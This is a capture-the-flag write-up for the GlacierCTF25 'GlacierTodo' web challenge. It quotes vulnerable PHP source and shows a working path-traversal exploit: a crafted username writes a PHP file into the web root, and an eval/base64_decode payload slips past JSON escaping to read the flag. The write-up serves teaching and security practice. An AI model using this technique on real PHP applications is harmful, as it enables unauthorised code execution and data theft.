CTF Writeup - GlacierCTF25 - GlacierTodo
Published: 2025-11-23 − Reading Time: 2.5 minutesGlacier-ToDo
https://github.com/LosFuzzys/GlacierCTF2025_writeups/tree/main/web/glacier-todo
TLDR;: path traversal on on the username allows you to write arbitrary files
and read json encoded files. You can write to e.g. /var/www/html/test.php
and run arbitrary PHP code.
Overview
The app provides you with an API endpoint allowing you to perform 6 actions:
/account/registerRegisters an account/account/loginLogs you into your account/account/infoShows information about your current session/todos/listLists your personal todos tied to your account/todos/addAdds a todo to your account/todos/removeRemoves a todo from you account
Investigating the source code we can see, that the flag is located under
/flag.txt and there is no code using it, though we need to perform a RCE
(Remote Code Execution).
Exploit
For exploiting the app, the only relevant files is api.php as all the others
are just static files.
Taking a closer look at the registration
elseif($path === "/account/register") {
$username = isset($_POST["username"]) ? filter_input(INPUT_POST, "username") : '';
$password = isset($_POST["password"]) ? filter_input(INPUT_POST, "password") : '';
$users = json_decode(file_get_contents(USERS));
foreach($users as $user)
if($user->username === $username) goto fail;
$users[] = array(
"username" => $username,
"password" => password_hash($password, PASSWORD_DEFAULT)
);
file_put_contents(USERS, json_encode($users));
}
we can see, that the username and password are not properly sanitized, as
filter_input uses FILTER_DEFAULT a.k.a. FILTER_UNSAFE_RAW by default.
We can make use of that when adding a todo
elseif($path === "/todos/add") {
$isLoggedIn = isset($_SESSION[SESS]);
if(!$isLoggedIn) goto fail;
$user = $_SESSION[SESS];
if(!file_exists(TODOS . "/" . $user)) file_put_contents(TODOS . "/" . $user, "[]");
$todos = json_decode(file_get_contents(TODOS . "/" . $user));
$name = isset($_POST["name"]) ? filter_input(INPUT_POST, "name") : '';
$desc = isset($_POST["desc"]) ? filter_input(INPUT_POST, "desc") : '';
$todos[] = array(
"id" => uniqid(),
"name" => $name,
"desc" => $desc
);
file_put_contents(TODOS . "/" . $user, json_encode(array_values($todos)));
}
Note, that we use TODOS . "/" . $user in file_put_contents and we
control the $user variable during registration.
Path Traversal
Given the attack vectors, we can exploit the program by leveraging this code
segment here by performing a path traversal using the $user variable.
file_put_contents(TODOS . "/" . $user, json_encode(array_values($todos)));
So by setting the username to e.g. ../../var/www/html/test.php evaluates to
/tmp/todos/../../var/www/html/test.php resp. /var/www/html/test.php during
the runtime.
As neither name and desc are properly validated either, we can write php
code in there using the <?php tag.
Keep in mind though, that $todos is json encoded, so characters like / and
" will get escaped with a backslash.
Therefore, we can NOT directly read the file content using file_get_contents
<?php echo file_get_contents('/flag.txt'); ?>
This will fail due to json_encode will rewrite it to
<?php echo file_get_contents('\/flag.txt'); ?>
so it will fail to run. You can however, easily bypass this, using eval and
base64_decode.
$ echo "echo file_get_contents('/flag.txt');" | base64
giving you ZWNobyBmaWxlX2dldF9jb250ZW50cygnL2ZsYWcudHh0Jyk7Cg==
Now, you can the name to <?php eval(base64_decode('ZWNobyBmaWxlX2dldF9jb250ZW50cygnL2ZsYWcudHh0Jyk7Cg==')); ?> and afterwards go to <DOMAIN>/test.php and retrieve the flag.
Solve Script
You can check out the solve script here.